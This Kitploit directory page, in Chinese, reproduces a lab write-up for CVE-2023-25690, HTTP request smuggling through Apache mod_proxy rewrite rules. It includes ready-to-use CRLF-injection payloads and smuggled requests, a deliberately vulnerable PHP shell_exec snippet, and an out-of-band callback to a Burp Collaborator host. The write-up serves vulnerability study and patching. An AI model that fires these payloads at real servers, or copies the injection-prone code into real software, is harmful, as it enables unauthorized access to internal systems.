Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-25690-POC — CVE 2023 25690 概念验证 - Apache HTTP Server 2.4.0 - 2.4.55 版本上 mod_proxy 的不安全配置导致 HTTP 请求走私(HTTP Request Smuggling)漏洞。 | Kitploit
工具/GitHubGitHub/oocyginxoo/cve-2023-25690-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育实验室与实践
GitHuboocyginxoo/cve-2023-25690-poc

CVE-2023-25690-POC

CVE 2023 25690 概念验证 - Apache HTTP Server 2.4.0 - 2.4.55 版本上 mod_proxy 的不安全配置导致 HTTP 请求走私(HTTP Request Smuggling)漏洞。

查看仓库
211年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE 2023 25690 - 概念验证

发布时间:2023 年 3 月 7 日

Base scoreConfidentialityIntegrity impactAvailability impact
9.8HighHighHigh

目录

  • 公告描述
  • 易受攻击的 Apache 配置详解
    • 数据流
  • 实验室搭建
  • HTTP 请求拆分导致后端服务上的 HTTP 请求走私
    • 识别 CRLF 注入
    • 通过请求头注入实现内部 HTTP 请求走私
  • 影响

公告描述

Apache HTTP Server 版本 2.4.0 至 2.4.55 上的某些 mod_proxy 配置 允许发起 HTTP 请求走私攻击。当 mod_proxy 与某种形式的 RewriteRule 或 ProxyPassMatch 一起启用时,配置会受到影响;在这种情况下,非特定模式会匹配用户提供的请求目标(URL)数据的一部分,然后通过 变量替换 重新插入到代理请求目标中。例如,类似如下配置:

root@kitploit:~
RewriteEngine on 
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P] 
ProxyPassReverse /here/ http://example.com:8080/

请求拆分/走私可能导致绕过代理服务器中的访问控制、将非预期的 URL 代理到现有源服务器,以及缓存投毒。建议用户将 Apache HTTP Server 至少更新到 2.4.56 版本。

https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688


易受攻击的 Apache 配置详解

Apache 配置中包含 RewriteEngine on 可启用 URL 重写引擎。URL 重写是一种允许 Web 服务器在提供内容之前,将客户端浏览器请求的 URL 动态更改为另一个 URL 的技术。
例如,假设我们有一个在线商店,其 URL 结构如下:

root@kitploit:~
https://example-shop.com/categories/1

假设 Apache 配置文件中包含以下 RewriteRule 指令:

root@kitploit:~
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P] 

当用户请求 URL https://example-shop.com/categories/1 时,RewriteRule 会匹配该 URL,并使用正则表达式 ^/categories/(.*) 捕获值 1。然后,该规则将捕获的值作为查询参数 id 附加到重写后的 URL,从而将 URL 重写为 http://example-shop.com:8080/categories?id=1。


由于规则中存在 [P] 标志,Apache 会将重写后的 URL 视为代理请求,并将其转发到目标服务器 http://example-shop.com:8080/categories,同时查询参数 id 设置为 1。目标服务器随后处理该请求并将响应发送回 Apache,Apache 再将其转发给客户端。

总之,带有 [P] 标志的 RewriteRule 指令用于重写 URL 并将其代理到另一台服务器。在本例中,该规则匹配以 /categories/ 开头的 URL,并将捕获的值作为查询参数 id 附加到重写后的 URL。然后 Apache 将请求转发到目标服务器,目标服务器处理请求并返回响应。

最后,关于 ProxyPassReverse /categories/ http://example-shop.com:8080/,这一行简单地将后端服务器的域名和路径替换为代理服务器的域名和路径,以便客户端能够正确跟随链接并访问来自代理后端服务器的内容,就像这些内容直接由代理服务器提供一样。

数据流


实验室搭建

为了模拟 Apache 中的该漏洞,我们将使用 httpd 2.4.55 版本。此外,整个实验室将采用 Docker 化,以提升搭建、配置和复现的便捷性。

实验室文件结构如下:

root@kitploit:~
lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf

最终的 httpd.conf 配置如下所示:

root@kitploit:~
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common

# Load necessary modules 
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    RewriteEngine on
    RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
    ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"

</VirtualHost>

使用 docker-compose.exe up --build 命令启动实验室。

  • mod_rewrite 文档:https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
  • mod_proxy 文档:https://httpd.apache.org/docs/2.4/mod/mod_proxy.html

HTTP 请求拆分导致后端服务上的 HTTP 请求走私

在本节中,我将解释 CRLF 注入如何导致内部 HTTP 请求走私,从而使攻击者能够未经授权访问原本无法访问的内部资源。

识别 CRLF 注入

根据公告描述,httpd <=2.4.55 存在 HTTP 响应拆分漏洞,也称为 CRLF 注入。
CRLF 注入在以下情况下发生:

  • 数据通过不受信任的来源进入 Web 应用程序,最常见的是 HTTP 请求
  • 数据未经过恶意字符验证就被包含在发送给 Web 用户的 HTTP 响应头中

在我们的案例中,可以通过在 URL 中传递以下 CRLF 前缀来确认:

root@kitploit:~
 HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr

将上述前缀附加到 URL 后,最终的请求将如下所示:

root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

在处理请求后,服务器将处理数据并返回 200 响应代码,表明存在 CRLF 注入漏洞。

root@kitploit:~
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8

You category ID is: 1

关于 HTTP 响应拆分的更多信息可在此处找到:https://owasp.org/www-community/attacks/HTTP_Response_Splitting

通过请求头注入实现内部 HTTP 请求走私

利用请求头注入,我们将执行内部 HTTP 请求走私。
让我们从以下前缀开始:

root@kitploit:~
 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED

以及以下请求:

root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

应用重写规则后,请求会转换为以下格式:

root@kitploit:~
GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend

其中编码后的 URL 被解码为有效的 HTTP 语法,导致后端将解码后的数据视为第二个请求。
假设我们的内部应用程序包含以下秘密代码:

root@kitploit:~
#Internal secret functionality
if(isset($_GET['secret'])){
    $secret = $_GET['secret'];

    shell_exec('nslookup ' . $secret);
}

借助以下前缀,我们能够将第二个请求发送到隐藏功能:

root@kitploit:~
 HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
root@kitploit:~
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36

并在 Burp Collaborator 上检索到请求:

补丁:

  • https://github.com/apache/httpd/commit/8789f6bb926fa4c33b4231a8444340515c82bdff
  • https://github.com/apache/httpd/commit/8b93a6512f14f5f68887ddfe677e91233ed79fb0

影响

此漏洞的影响在于,它允许攻击者定向访问本应由反向代理隐藏的内部应用程序,从而可能导致未经授权的访问、数据泄露或进一步利用。

下载工具